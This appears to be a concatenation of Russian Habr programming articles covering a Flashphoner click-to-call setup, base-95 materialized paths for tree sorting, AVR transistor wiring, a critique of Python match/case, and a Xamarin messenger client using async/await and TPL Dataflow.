Затем, переходим к WCS серверу. Предполагаем, что у вас уже есть установленный и настроенный экземпляр WCS. Если нет, то устанавливаем по этой [инструкции](https://docs.flashphoner.com/pages/viewpage.action?pageId=9241019). WCS можно запустить как виртуальный инстанс на [Amazon,](https://flashphoner.com/podderzhka-oblachnyh-serverov-amazon-ec2-v-web-call-server/?lang=ru) [Google Cloud](https://flashphoner.com/google-cloud-platform-dlya-webrtc-cdn-s-balansirovkoj-i-avtomaticheskim-masshtabirovaniem/?lang=ru) и [DigitalOcean](https://flashphoner.com/podderzhka-web-call-server-v-digital-ocean-marketplace/?lang=ru), или как контейнер в [Docker](https://flashphoner.com/podderzhka-web-call-server-v-docker/?lang=ru).
В консоли вашего сервера с WCS проверяем доступность скрипта REST Hook для событий /connect и /call с помощью утилиты "Curl":
```
curl http://172.16.30.123/connect
curl http://172.16.30.123/call
```
замените 172.16.30.123 на IP адрес или доменное имя вашего бэкенд web сервера.
Если вывод утилиты Curl содержит нужную информацию — параметры для SIP подключения и номер вызываемого абонента — значит REST Hook мы настроили правильно.
Заходим в [CLI WCS сервера](https://docs.flashphoner.com/pages/viewpage.action?pageId=9241140):
```
ssh -p 2001 admin@localhost
```
в этой команде ничего менять не нужно, пароль по умолчанию: admin
и меняем приложение по умолчанию для обработки событий "/connect" и "/call" на наш новый REST Hook скрипт с помощью команды:
```
update app -l http://172.16.30.123/ defaultApp
```
замените 172.16.30.123 на IP адрес или доменное имя вашего бэкенд web сервера.
После всех этих настроек переходим к фронтенд web серверу.
### Больше кода богу кода!
Создаем на фронтенде два пустых файла Click-to-Call-min.html и Click-to-Call-min.js. Эти файлы будут содержать минимальный код для реализации кнопки «Click to call».
HTML код:
```
```
Из [JS кода минимального примера](https://flashphoner.com/vnedrenie-v-veb-stranicu-funkcionala/?lang=ru) убираем данные для подключения к SIP серверу и номер вызываемого абонента.
JS код:
```
var SESSION_STATUS = Flashphoner.constants.SESSION_STATUS;
var CALL_STATUS = Flashphoner.constants.CALL_STATUS;
var localAudio;
var remoteAudio;
function init_page(){
Flashphoner.init({});
localAudio = document.getElementById("localAudio");
remoteAudio = document.getElementById("remoteAudio");
connect();
}
function connect() {
var url = "wss://172.16.30.124:8443"
var sipOptions = {
registerRequired: true
};
var connectionOptions = {
urlServer: url,
sipOptions: sipOptions
};
console.log("Create new session with url " + url);
Flashphoner.createSession(connectionOptions).on(SESSION_STATUS.ESTABLISHED, function (session) {
console.log(SESSION_STATUS.ESTABLISHED);
}).on(SESSION_STATUS.REGISTERED, function (session) {
console.log(SESSION_STATUS.REGISTERED);
});
callBtn.onclick = call
}
function call(session) {
var constraints = {
audio: true,
video: false
};
var session = Flashphoner.getSessions()[0];
var outCall = session.createCall({
remoteVideoDisplay: remoteAudio,
localVideoDisplay: localAudio,
constraints: constraints,
stripCodecs: "SILK"
});
outCall.call();
callBtn.value = "Hangup";
callBtn.onclick = function () {
callBtn.value = "Call";
outCall.hangup();
connect();
}
}
```
### Алло, девушка, соедините
Для тестирования нам понадобятся:
0. Тестовый стенд, который мы собрали выше (фронтeнд, WCS, бэкенд);
1. SIP сервер
2. Два SIP аккаунта
3. Браузер
4. Программный SIP телефон
Данные для подключения SIP аккаунта 10001 мы передаем в JS коде страницы с кнопкой "Click to Call" при помощи REST Hook. Кнопка "Click to Call" запрограммирована сделать вызов на номер 10002. Учетные данные для аккаунта 10002 внесем в программный SIP телефон.
Открываем созданную на фронтенд web сервере HTML страницу и нажимаем кнопку "Call":
Принимаем входящий звонок на программном SIP телефоне и проверяем, что происходит обмен аудио потоками между абонентами:
Пришлось немного поработать, но результат того стоит. Теперь учетные данные SIP сервера и номер вызываемого абонента защищены от злоумышленников, и можно не переживать, что кто-то использует вашу телефонию в своих интересах.
### Ссылки
[Наш демо сервер](https://demo.flashphoner.com/admin/login.html)
[Онлайн звонок с сайта по кнопке](https://flashphoner.com/onlajn-zvonok-s-sajta-na-mobilnye-telefony-i-sip-funkciya-click-to-call/?lang=ru)
[Web-SIP телефон в браузере](https://flashphoner.com/brauzernyj-veb-telefon-s-podderzhkoj-protokola-sip/?lang=ru)
[Файл настроек flashphoner.properties](https://docs.flashphoner.com/pages/viewpage.action?pageId=9241061)
[REST hooks](https://docs.flashphoner.com/display/WCS52RU/REST+hooks)
[Документация по быстрому развертыванию Web Call Server](https://docs.flashphoner.com/pages/viewpage.action?pageId=9241019)
[Звонок на мобильный телефон через SIP сервер](https://docs.flashphoner.com/pages/viewpage.action?pageId=9241702)
[Web SDK Click to Call](https://docs.flashphoner.com/display/WEBSDK2RU/Click+to+Call)
[Android Click to Call](https://docs.flashphoner.com/display/ANDROIDSDK11RU/Android+Click+to+Call)
[iOS Click to Call](https://docs.flashphoner.com/display/IOSSDK2RU/iOS+Click+to+Call) | https://habr.com/ru/post/566360/ | null | ru | null |
# Решение проблемы сортировки деревьев с помощью бинарного Materialized Path
Столкнулся с проблемой реализации древовидных комментариев на одном проекте, в этой заметке выкладываю своё решение.
#### Описание задачи
* Хранение иерархических данных (древовидных комментариев) в реляционной БД MySQL
* Простое добавление узлов/ветвей
* Выборка всего дерева одним запросом, с отсортированными в нужном порядке ветвями
В принципе, задача классическая, и сначала я её решил с помощью объединения [Adjacency List и Materialized Path](http://habrahabr.ru/post/46659/). Другими словами, в таблице добавлены колонки
```
id INT(11)
parentid INT(11)
mpath VARCHAR(255)
```
В mpath хранился полный путь ветки в дереве, например **/1/3/4/5/8/9**, где через знак "/" перечислялись ID комментария.
При таком подходе очень легко добавлять новые комментарии практически любого уровня вложенности. Выборка при этом производилась запросом:
```
SELECT *
FROM messages
WHERE postid=$postid
ORDER BY mpath ASC
```
Проблема возникла при росте числа комментариев. Например, имеется дерево со следующими путями:
```
1
1.2
1.2.10
1.2.3
1.2.7
4
4.8
4.8.9
5
5.6
```
Здесь цифрами указаны ID, а порядок такой, какой бы он получился при использовании `ORDER BY mpath ASC`.
Комментарий 1.2.10 идёт до 1.2.3 и др, хотя был добавлен позже (судя по ID).
#### Решение задачи
Решение проблемы частично было описано здесь: <http://habrahabr.ru/post/125729/>. Идея — использовать не десятичные ID в пути, а кодировать в другую систему счисления, чтобы иметь меньше ограничений в длине пути. При этом, разделители в виде точек или других символов не нужны, так как поле будет использоваться только для сортировки.
Я использовал основание 95, это как раз число печатаемых символов в ASCII.
```
!"#$%&\'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~
```
Если для каждого значения в пути мы будем использовать фиксированную длину, получим следующий верхний порог ID:
1 — 95^1 — 1 = 94
2 — 95^2 — 1 = 9 024
3 — 95^3 — 1 = 857 374
4 — 95^4 — 1 = 81 450 624
5 — 95^5 — 1 = 7 737 809 374
5-ти символов вполне достаточно, чтобы не волноваться о максимальном количестве комментариев.
Максимальный уровень вложенности, при этом, для VARCHAR 255/5 = 51
Теоретически, можно брать не BASE95, а BASE256 (вместе с непечатаемыми символами), но хранить это всё бинарно в BLOB, правда тут я не уверен с производительностью при сортировке (надо проверить). Тогда уже 3 символами мы могли бы кодировать 16 777 215 вариантов, а 4 — 4 294 967 295.
#### Как это выглядит в коде
Приведу свой пример реализации всей этой теории.
```
// $mpath - хранит стандартный materialized path с разделителем "/"
// При добавлении нового комментария:
$db->Execute("
UPDATE messages SET
mpath=?,
bpath=?,
depth=?
WHERE id=?
", array(
$mpath,
bpath($mpath),
$depth,
$messid
));
// . . .
// константа с символами для кодирования
define('BASE95', ' !"#$%&\'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~');
// . . .
// функция bpath
function bpath($mpath, $sep = '/', $max_len = 5) {
$bpath = '';
$chunks = explode($sep, trim($mpath, $sep));
$zero = substr(BASE95, 0, 1);
foreach($chunks as $chunk)
$bpath .= str_pad(dec2base($chunk, 95, BASE95), $max_len, $zero, STR_PAD_LEFT);
return $bpath;
}
```
И далее выборка:
```
SELECT *
FROM messages
WHERE postid=$postid
ORDER BY bpath ASC
```
Функция dec2base взята [отсюда](http://www.php.net/manual/en/ref.bc.php#25336).
Такое вот решение, на мой взгляд очень простое. Если у вас также имеется в арсенале красивые решения, делитесь ими в комментариях. | https://habr.com/ru/post/226741/ | null | ru | null |
# Устройство и работа портов ввода-вывода микроконтроллеров AVR. Часть 3
**Подключение транзистора к линии порта ввода/вывода**
Изучив данный материал, в котором все очень детально и подробно описано с большим количеством примеров, вы сможете легко овладеть и программировать порты ввода/вывода микроконтроллеров AVR.
* [Часть 1. Работа портов ввода/вывода](http://habrahabr.ru/post/253213/)
* [Часть 2. Подключение светодиода к линии порта ввода/вывода](http://habrahabr.ru/post/253961/)
* [Часть 3. Подключение транзистора к линии порта ввода/вывода](http://habrahabr.ru/post/255715/)
* [Часть 4. Подключение кнопки к линии порта ввода/вывода](http://habrahabr.ru/post/256269/)
Пример будем рассматривать на микроконтроллере ***ATMega8***.
Программу писать будем в ***Atmel Studio 6.0***.
Эмулировать схему будем в ***Proteus 7 Professional***.
Максимальный ток, который способен пропустить каждый порт ввода/вывода составляет 40 mA.
Максимальный ток, который способна пропускать каждая линия порта ввода/вывода составляет 20 mA.
Прежде чем подключать нагрузку, в том числе и транзистор к линиям порта ввода/вывода можно спалить его превысив допустимую нагрузку на линию порта ввода/вывода.
Что бы ограничить ток, который протекает через линии порта ввода/вывода микроконтроллера нужно рассчитать и подключить токоограничивающий резистор.
Рис: Рапиновка транзистора n-p-n-типа.
Рис: Рапиновка транзистора p-n-p-типа.
Рис: Подключение к микроконтроллеру транзистора n-p-n-типа.
Рис: Подключение к микроконтроллеру транзистора p-n-p -типа.
Сопротивление токоограничивающего резистора подключаемого к линиям портов ввода/вывода при подключении транзистора рассчитывается по формуле:
Пример:
— включения мощного светодиода через транзисторный ключ.
Рис: Подключение к микроконтроллеру светодиода через транзисторный ключ n-p-n-типа.
Данные на светодиод:
— напряжение источника питания – **5В**;
— прямое падения напряжения на светодиоде – **1,35В**(*Берётся с datasheet на светодиод*);
— прямой ток на светодиоде – **120мА** (*Берётся с datasheet на светодиод*);
— коэффициент надежности роботы светодиода – **75%** (*Берётся с datasheet на светодиод*);
Данные на транзистор BC547 берем из Datasheet-BC547:
Данные на микроконтроллер:
— напряжение источника питания – **5В**;
— падение напряжения на линии порта ввода/вывода – **0,5В** (*Берётся с datasheet на микроконтроллер: Vol(output low voltage) – если ток втекает, и Voh (output high voltage) – если ток вытекает*);
Рассчитываем сопротивление **R1**:
Таким образом, номинал резистора R1 = 38.33 Om, подбирается ближайшее большее значение сопротивления, например 39 Ом.
Определив номинал резистора R1, необходимо рассчитать мощность P1, измеряемая в ваттах, которая будет выделяться в резисторе, в виде тепла при протекании тока в цепи.
Рассчитав выделяемую мощность на резисторе, выбираем ближайшее большее значение мощности резистора.
Рассчитываем сопротивление R2:
Таким образом, номинал резистора R2 = 4750 Om, подбирается ближайшее меньшее значение сопротивления, например 4,7 кОм.
Определив номинал резистора R2, необходимо рассчитать мощность P2, измеряемая в ваттах, которая будет выделяться в резисторе, в виде тепла при протекании тока в цепи.
Рассчитав выделяемую мощность на резисторе, выбираем ближайшее большее значение мощности резистора.
***— подключения транзистора n-p-n-типа к линии порта ввода/вывода:***
```
// Подключаем внешние библиотеки
#include
#include
// Основная программа
int main(void)
{
// Настраиваем порты ввода/вывода
DDRC = 0b11111111; //Настраиваем все разряды порта C на режим "Выход"
PORTC = 0b11111111; //Устанавливаем все разряды порта C в лог.«1» (На выходе порта напряжение равное Vcc)
// Вечный цикл
while (1)
{
}
}
```
***— подключения транзистора p-n-p-типа к линии порта ввода/вывода:***
```
// Подключаем внешние библиотеки
#include
#include
// Основная программа
int main(void)
{
// Настраиваем порты ввода/вывода
DDRC = 0b11111111; //Настраиваем все разряды порта C на режим "Выход"
PORTC = 0b00000000; //Устанавливаем все разряды порта C в лог.«0» (На выходе порта напряжение равное GND)
// Вечный цикл
while (1)
{
}
}
``` | https://habr.com/ru/post/255715/ | null | ru | null |
# Главный секрет операторов match/case в пайтоне
Не так давно увидела свет версия языка пайтон 3.10. В ней был добавлен pattern matching statement (оператор сопоставления с шаблонами). Как гласит официальное описание этого оператора в [PEP622](https://www.python.org/dev/peps/pep-0622/), разработчики в большей мере вдохновлялись наработками таких языков как: Scala, Erlang, Rust.
Многие, в том числе и я, встретили оператор с критикой. Можно для примера почитать [комментарии к недавнему посту](https://habr.com/ru/post/585216/#comment_23627514). В основном люди жалуются на синтаксис, который похож на синтаксис пайтона, однако означает совершенно другое. Вот несколько примеров:
```
match values:
case name, "1"|"2" as access:
print(f"Access for {name} granted with {access}")
case _:
print("Deny")
```
Здесь выражение `"1"|"2" as access` очень похоже на то, что мы уже много раз видели в пайтоне, например в `with` или `except`. Слева — обычное выражение на пайтоне, справа название переменной, которой присвоится это выражение. Но присмотритесь внимательнее, `"1"|"2"` это бессмыслица, так как `|` — это оператор бинарного ИЛИ, которое очевидно не может существовать для строк. Здесь оператор `|` — часть механизма pattern matching, а не языка пайтон.
Ещё хуже придется, если флаги, который вы хотите проверить, как раз будут битовыми:
```
match values:
case name, 0b001 | 0b010 as access:
print(f"Access for {name} granted with {access}")
case _:
print("Deny")
```
`0b001 | 0b010` должно означать «права на то и на другое» (например, на чтение и на запись), однако в pattern matching это не является выражением пайтона и пользователь получает доступ имея права только на что-то одно.
Другое ограничение match/case — вы не можете использовать никакие внешние переменные для сопоставления. Попробуйте вспомнить другое место в пайтоне, где вы можете написать `"Vadim"`, но не можете `get_username()` или использовать локальную переменную. Я не вспомнил.
```
class User:
__match_args__ = ('name', 'access')
def __init__(self, name, access):
self.name = name
self.access = access
def match_name(data_class, username):
match data_class:
case User(username) as req:
print(f"Granted to {req.name}")
case _:
print("deny")
match_name(User("Anna", 1), "Vadim")
Granted to Anna
```
Кстати, заметили выражение `UserRequest(username)`? Выглядит как создание экземпляра класса, однако очевидно им не является, хотя бы потому, что у класса два обязательных аргумента, а тут передано только одно значение.
Из всего изложенного можно сделать вывод:
Операторы match/case не являются частью языка пайтон, это встроенный язык со своим уникальным синтаксисом!
----------------------------------------------------------------------------------------------------------
Можно представить, что создатели решили бы встроить не pattern matching, а например SQL.
```
users = [
User("Anna", 0x011),
User("Vadim", 0x010)
]
granted = SELECT users.name FROM users WHERE users.access IN (1, 2);
```
Вряд ли в этом случае можно было бы ожидать, что внутри такого выражения стало бы работать всё богатство синтаксиса пайтона.
Таким образом, никакой синтаксис и выражения из пайтона и не должны работать внутри match/case по умолчанию. Другой вопрос, насколько оправданно было встраивать в пайтон другой язык, с таким похожим синтаксисом и совершенно другой семантикой.
PS. Более основательная критика pattern matching в том числе от контрибьютеров CPython: <https://github.com/markshannon/pep622-critique> (используется чуть более старый синтаксис, но отличия не принципиальны). | https://habr.com/ru/post/585518/ | null | ru | null |
# Разработка IM на конкурс Павла Дурова с помощью Xamarin
Добрый день.
Как многие наверное знают, Павел Дуров разрабатывает новый клон What's App и прочих популярных мессенджеров на базе своего собственного протокола MTProto.
Недавно американская компашка выпустила iOS клиент под этот протокол под названием Telegram. Параллельно с этим проводится — [конкурс на разработку Android клиента](http://vk.com/androidchallenge).
Недавно завершился второй этап, народ отправил свои поделки и я в том числе. Скажу сразу, второй этап я не прошел.
В отличие от многих участников, для разработки я пользовался языком C# и Xamarin о чем и хочу рассказать подробнее ниже, так как по Xamarin в рунете информации скажем прямо немного.
#### Заместо вступления
Я дотнетчик. Я работаю с дотнетом со второй версии, когда еще был студентом, хорошо знаю возможности и особенности этой платформы. Не так давно мне захотелось разрабатывать на мобильные устройства, запрос «Android C#» и вывел меня на Xamarin — MonoDroid. Но до сих пор я писал только игрался с ним, это был первый серьезный проект на Android, о нем я и хочу рассказать. Для понимания этой статьи требуется знание C#, .NET и хотя бы примитивное понимание Android.
##### Что это — в двух словах
Xamarin это компания (а также мобильная платформа) созданная Нэтом Фридменом и [Мигелем де Икаса](http://ru.wikipedia.org/wiki/%D0%98%D0%BA%D0%B0%D1%81%D0%B0,_%D0%9C%D0%B8%D0%B3%D0%B5%D0%BB%D1%8C_%D0%B4%D0%B5) — автором GNOME и Mono. Таким образом Xamarin является логичным развитием Mono.
**Xamarin позволяет писать нативные приложения для Anroid и iOS на C#** и это прекрасно. Я лично считаю, что за гибридной кросс-платформой будущее. А еще Mac. А еще активно [голосуют за MonoBerry](http://xamarin.uservoice.com/forums/144858-xamarin-suggestions/suggestions/2617326-monoblackberry), который возможно когда-то войдет в состав Xamarin.
#### Задача
В задачах конкурса была реализация предоставленного протокола MTProto (первый этап) и создание полноценного приложения (второй этап). На третьем этапе доработка.
Протокол в целом представляет из себя реализацию RPC со всякими плюшками типа продвинутого шифрования и всякое разное.
#### Решение
Здесь и далее я буду рассказывать как я решал эти задачи. Итак, приступим.
##### Получение Xamarin
Xamarin стоит 2000$. Да, это так. Если вы хотите писать в любимой студии его цена — 999$ за платформу. Если вам хватит неплохой среды MonoDevelop — ее стоимость 299$ за платформу. В переписке с авторами я смог выклянчить скидку до 799$ за платформу.
Как же можно получить xamarin? Ну для начала его можно ~~скачать с торрентов~~. Xamarin предлагает академическую лицензию за 99$ за платформу которая дает все возможности Business кроме поддержки по почте. И да, если твоя жена аспирант это тоже работает.
##### Создание структуры решения
Как я уже упоминал Xamarin создает нативный код для каждой мобильной ОС. Это значит что под каждую ОС будет своя сборка, но код между ними должен быть разделен. Создатели Xamarin предлагают целых [три способа](http://docs.xamarin.com/guides/cross-platform/application_fundamentals/building_cross_platform_applications/sharing_code_options) как это сделать, но для Visual Studio самый простой — прекрасная утилита Project Linker, встраиваемая в непосредственно в среду.
Пара кликов мышки и кроссплатформенное решение готово:
Все файлы подключены как ссылки, любые изменения в основном проекте будут отображены во все привязанные проекты.
| | |
| --- | --- |
| | |
Утилитка ставиться из «Диспетчера расширений» студии.
###### Структура решения
Основные сборки это *MTProto.Core* и *Talks.Backend*. Это обычные сборки под .net 4.5 и покрытые Unit-тестами.
*Mono.Stub* — это несколько специфических классов из Mono, в частности я использую оттуда BigInteger.
Папка **Droid** — содержит в себе андройдовские клоны проектов, Dataflow — это исходники TPL.Dataflow с гитхаба. Я активно использую в своем проекте асинхронные возможности C# 5.0.
В папке Platfrom — конкретные реализации под каждую платформу. Пока это только Android.
##### MTProto.Core
Это реализация протокола. Протокол в целом представляет из себя RPC с продвинутым шифрованием и некоторыми дополнительными возможностями, типа формирования контейнера или отправки/получения файлов кусочками. Таким образом для реализации IM клиента нам необходимо научиться выполнять RPC запрос, получать ответ, а так же обрабатывать входящие системные сообщения и обновления состояний.
Из особенностей: async all the way и Dataflow.
###### **async all the way**
C# 5.0 ввел пару ключевых слов которые чрезвычайно упрощают разработку асинхронного кода на основании Task Asynchronous Pattern (TAP). Очень хорошо они описаны в [MSDN](http://msdn.microsoft.com/en-us/library/vstudio/hh191443.aspx).
Все операции IO должны быть асинхронными, это должно быть как заповедь.
```
public async Task RunAsync()
{
await _cl.LoadSettings().ConfigureAwait(false);
if (await _cl.CheckAndGenerateAuth().ConfigureAwait(false))
{
await _cl.RunAsync().ConfigureAwait(false);
}
if ((_cl.Settings.DataCenters == null) || (_cl.Settings.DataCenters.Count == 0))
{
await _cl.GetConfig().ConfigureAwait(false);
}
_db = await TalksDatabase.GetDatabase().ConfigureAwait(false);
_ldm = new LocalDataManager(_db);
_cl.ProcessUpdateAsync = ProcessUpdateAsync;
}
```
Стивен Клири — один из ведущих специалистов по асинхронному программированию на C# — написал несколько [принципов использования async-await](http://msdn.microsoft.com/ru-ru/magazine/jj991977.aspx) которые уже де-факто стали стандартами его использования. Если вы еще не читали, советую.
Суть подхода «async all the way» в том что все методы по дереву вызовов асинхронны начиная с event и заканчивая непосредственно операцией IO (в данном случае).
Например если необходимо асинхронно обработать клик по кнопке:
```
async void button_Click(object sender, EventArgs e)
{
_button.Enabled = false;
await _presenter.SendMessage();
}
```
То вы делаете асинхронными все методы по дереву вызовов в Presenter:
**Код**
```
public Task SendMessage()
{
return SendMessageToUser();
}
```
```
public async Task SendMessageToUser()
{
...
try
{
\_imv.AddMineMessage(msg);
string msgText = \_imv.PendingMessage;
\_imv.PendingMessage = "";
// messages.sendMessage#4cde0aab peer:InputPeer message:string random\_id:long = messages.SentMessage;
var result = await \_model.PerformRpcCall("messages.sendMessage",
InputPeerFactory.CreatePeer(\_model, PeerType.inputPeerContact, \_imv.ChatId),
msgText,
LongRandom(r));
if (result.Success)
{
// messages.sentMessage#d1f4d35c id:int date:int pts:int seq:int = messages.SentMessage;
msg.Id = result.Answer.ExtractValue("id");
...
msg.State = BL.Messages.MessageState.Sent;
\_imv.IvalidateList();
await \_model.ProcessSentMessage(result.Answer, \_imv.ChatId, msg);
return true;
}
else
{
msg.State = BL.Messages.MessageState.Failed;
\_imv.SendSmallMessage("Problem sending message: " + result.Error.ToString());
return false;
}
}
catch (Exception ex)
{
...
}
}
```
И в Core:
```
public Task PerformRpcCall(string combinatorName, params object[] pars)
{
return \_cl.PerformRpcCall(combinatorName, pars);
}
```
```
public async Task PerformRpcCall(string combinatorName, params object[] pars)
{
try
{
/\*...\*/
var confirm = CreateConfirm();
// Буфер для ответа
WriteOnceBlock answer = new WriteOnceBlock(e => e);
IOutputCombinator oc;
if (confirm != null)
{
var cntrn = new MsgContainer();
cntrn.Add(rpccall);
// прикрепим к RPC Call все ожидающие подтверждения
cntrn.Add(confirm);
cntrn.Combinator = \_tlc.Decompose(0x73f1f8dc);
// Добавим в общую очередь
oc = new OutputMsgContainer(uniqueId, cntrn);
}
else // не используем контейнер
{
oc = new OutputTLCombinatorInstance(uniqueId, rpccall);
}
var uhoo = await SendRpcCallAsync(oc).ConfigureAwait(false);
\_inputAnswersBuffer.LinkTo(answer, new DataflowLinkOptions { MaxMessages = 1 },
i => i.SessionId == \_em.SessionId);
return await answer.ReceiveAsync(TimeSpan.FromSeconds(60)).ConfigureAwait(false); // таймаут если ответа нету слишком долго
}
catch (Exception ex)
{
...
}
}
```
Как видите далеко не все методы помечены ключевыми словами async-await. Общая практика такова: если вам не нужно ничего делать **после** асинхронного вызова и если у вас **один** асинхронный вызов то имеет смысл просто вернуть его как Task из метода.
Еще одна практика (так же описанная в статье Клири) — асинхронные методы внутри библиотек не должны захватывать контекст и пытаться вернуться к нему после выполнения. Т.е. все асинхронные вызовы должны содержать `.ConfigureAwait(false)` Сделано это чтобы предотвратить deadlock'и. Подробнее об этом можно прочитать в статье выше.
###### **Dataflow**
TPL.Dataflow — это библиотека разработанная для реализации шаблона проектирования Data Flow или конвейера обработки. Исходный код библиотеки доступен на [гитхабе](https://github.com/playscript/playscript-mono/blob/master/mcs/class/System.Threading.Tasks.Dataflow/System.Threading.Tasks.Dataflow/ObserverDataflowBlock.cs) что позволяет использовать ее и на мобильных устройствах. Желающих поподробнее узнать о возможностях этой библиотеки отправляю в [MSDN](http://msdn.microsoft.com/en-us/library/hh228603.aspx).
В двух словах, библиотека позволяет построить конвейер состоящий из блоков хранения или обработки данных, связав их по какому-либо условию. Изначально в моем проекте таких конвейеров было две штуки: для входных и для выходных пакетов. После рефакторинга я решил оставить только один для входящих пакетов.
Выглядит оно так:
а процесс создания выглядит так:
```
BufferBlock \_inputBufferBytes = new BufferBlock();
BufferBlock \_inputBuffer = new BufferBlock();
ActionBlock \_inputBufferParcer;
ActionBlock \_inputUpdates;
ActionBlock \_inputSystemMessages;
TransformBlock \_inputAnswers;
BufferBlock \_inputAnswersBuffer = new BufferBlock();
BufferBlock \_inputRejectedBuffer = new BufferBlock();
BufferBlock \_inputUnsorted = new BufferBlock();
// --
// выходная сетка
\_inputBufferParcer = new ActionBlock(bytes => ProcessInputBuffer(bytes));
\_inputSystemMessages = new ActionBlock(tlci => ProcessSystemMessage(tlci));
\_inputUpdates = new ActionBlock(tlci => ProcessUpdateAsync(tlci));
\_inputAnswers = new TransformBlock(tlci => ProcessRpcAnswer(tlci));
// from [\_inputBufferBytes] to [\_inputBufferTransformer]
\_inputBufferBytes.LinkTo(\_inputBufferParcer);
// from [\_inputBufferTransformer] to [\_inputBuffer]
//\_inputBufferTransformer.LinkTo(\_inputBuffer);
// if System then from [\_inputBuffer] to [\_inputSystemMessages]
\_inputBuffer.LinkTo(\_inputSystemMessages, tlciw => \_systemCalls.Contains(tlciw.Combinator.Name));
// if Updates then from [\_inputBuffer] to [\_inputUpdates]
\_inputBuffer.LinkTo(\_inputUpdates, tlciw => tlciw.Combinator.ValueType.Equals("Updates"));
// if rpc\_result then from [\_inputBuffer] to [\_inputRpcAnswers]
\_inputBuffer.LinkTo(\_inputAnswers, tlciw => tlciw.Combinator.Name.Equals("rpc\_result"));
// if rpc\_result then from [\_inputBuffer] to [\_inputRpcAnswers]
//\_inputBuffer.LinkTo(\_inputUnsorted);
// and store it [\_inputAnswers] to [\_inputAnswersBuffer] to process it
\_inputAnswers.LinkTo(\_inputAnswersBuffer);
\_inputRejectedBuffer.LinkTo(\_inputAnswersBuffer);
```
Как видите входные байтовые массивы разбираются, классифицируются и раскладываются по буферам, откуда уже разбираются по необходимости. В частности updates и systemMessages обрабатываются сразу по приходу в `ActionBlock`, а rpcAnswers сначала преобразуется с помощью `TransformBlock` а потом складывается в `BufferBlock`. Классификация типа пакета происходит внутри `BufferBlock` на основании условий связывания блоков.
Непосредственно после вызова метода мы создаем WriteOnceBlock — блок куда можно записать только 1 значение:
```
WriteOnceBlock answer = new WriteOnceBlock(e => e);
```
И линкуем его к буферу RPC ответов:
```
_inputAnswersBuffer.LinkTo(answer, new DataflowLinkOptions { MaxMessages = 1 },
i => i.SessionId == _em.SessionId);
```
А дальше асинхронно ждем пока придет ответ:
```
return await answer.ReceiveAsync(TimeSpan.FromSeconds(60)).ConfigureAwait(false); // таймаут если ответа нету слишком долго
```
Отдельно хочу отметить что до этого момента я не написал ни строчки кода под Android. Вся разработка и тестирование велось для обычной сборки под .net 4.5
##### Talks.Backend
Бэкэнд клиента. Я решил реализовывать клиент по шаблону проектирования MVP с IoC, причем изначально я нацеливался на Passive View вариацию, когда представление не содержит никакой логики, но в итоге я пришел к пониманию что Supervising Controller сработал бы намного лучше.
Какие же проблемы возникли передо мной при создании бэкэнда? Доступ к записной книжке, доступ к базе данных, доступ к файловой системе (для хранения фоточек). Остальная часть бэкэнда это обыкновенная реализация MVP: набор Presenter'ов и IView'шек
###### **Доступ к записной книжке**
Для доступа к записной книжке команда Xamarin все уже придумала за нас. Они разработали библиотеку Xamarin.Mobile которая инкапсулирует набор функций на мобильном устройстве — записная книжка, GPS, камера, в кроссплатформенной манере. К тому же с полной поддержкой async-await.
Таким образом доступ к записной книжке получить чрезвычайно просто:
```
#if __ANDROID__
public async Task GetAddressbook(Android.Content.Context context)
{
contacts = new AddressBook(context);
#else
public async Task GetAddressbook()
{
contacts = new AddressBook();
#endif
if (!await contacts.RequestPermission())
{
Trace.WriteLineIf(clientSwitch.TraceInfo, "Permission for contacts denied", "[ContactsPresenter.PopulateAddressbook]");
_view.SendSmallMessage("CONTACTS PERMISSON DENIED");
return;
}
else
{
_icv.PlainContacts = new ListItemCollection( (from c in contacts
where (c.Phones.Count() > 0)
select new ListItemValue(c)).ToList());
}
}
```
Константа компиляции `__ANDROID__` введена потому, что для получения списка контактов на Android контекст требуется, а на других ОС — нет.
Тут виден один из недостатков Passive View для кроссплатформенного решения. По заданию нам было необходимо группировать контакты по первой букве фамилии. Для Android это делается через создание класса ListItemCollection, который осуществляет группировку, классический пример этого доступен в интернете. На iOS абсолютно другой подход к созданию такой группировки, что на WinPhone — я не знаю. Так что тут уместно получать и группировать контакты непосредственно во View.
Это и есть основная проблема в гибридной кроссплатформенной разработке на мой взгляд. Надо четко понимать где тебе необходимо абстрагироваться от платформы, а где не стоит. Думаю, это приходит с опытом.
###### **Доступ к базе данных**
Доступ к базе данных Xamarin рекомендует через простую ORM SQLite.Net. Когда-то я пробовал игнорировать эти рекомендации и работать с базой напрямую, через драйвер, но в итоге понял что лучше слушать советы более опытных разработчиков.
Описывать как работать с SQLite.Net я не вижу особого смысла, скажу только что для тестирования сборки с подключенным SQlite.Net необходимо иметь в проекте бинарники sqlite, которые доступны на официальном сайте [www.sqlite.org/download.html](http://www.sqlite.org/download.html)
Отдельно отмечу что SQLite.Net полностью поддерживает TAP и async-await.
Класс SQLite.SQLiteAsyncConnection я рекомендую расширить набором Generic классов для упрощения доступа к БД:
```
#region Public Methods
public Task> GetItemsAsync() where T : IBusinessEntity, new()
{
return Table().ToListAsync();
}
public Task GetItemAsync(int id) where T : IBusinessEntity, new()
{
return GetAsync(id);
}
public async Task CheckRowExistAsync(int id) where T : IBusinessEntity, new()
{
string tblName = typeof(T).Name;
return await ExecuteScalarAsync("select 1 from " + tblName + " where Id = ?", id).ConfigureAwait(false) == 1;
}
public async Task SaveItemAsync(T item) where T : IBusinessEntity, new()
{
if (await CheckRowExistAsync(item.Id))
{
return await base.UpdateAsync(item).ConfigureAwait(false);
}
else
{
return await base.InsertAsync(item).ConfigureAwait(false);
}
}
public Task DeleteItemAsync(int id) where T : IBusinessEntity, new()
{
return DeleteAsync(new T() { Id = id });
}
#endregion
```
Так же стоит помнить, что правила доступа к файловой системе на каждой ОС различаются.
Поэтому путь к базе данных можно получить следующим образом:
```
public static string DatabaseFilePath
{
get
{
var sqliteFilename = "TalksDb.db3";
#if SILVERLIGHT
// Windows Phone expects a local path, not absolute
var path = sqliteFilename;
#else
#if __ANDROID__
// Just use whatever directory SpecialFolder.Personal returns
string libraryPath = Environment.GetFolderPath(Environment.SpecialFolder.Personal);
#else
// we need to put in /Library/ on iOS5.1 to meet Apple's iCloud terms
// (they don't want non-user-generated data in Documents)
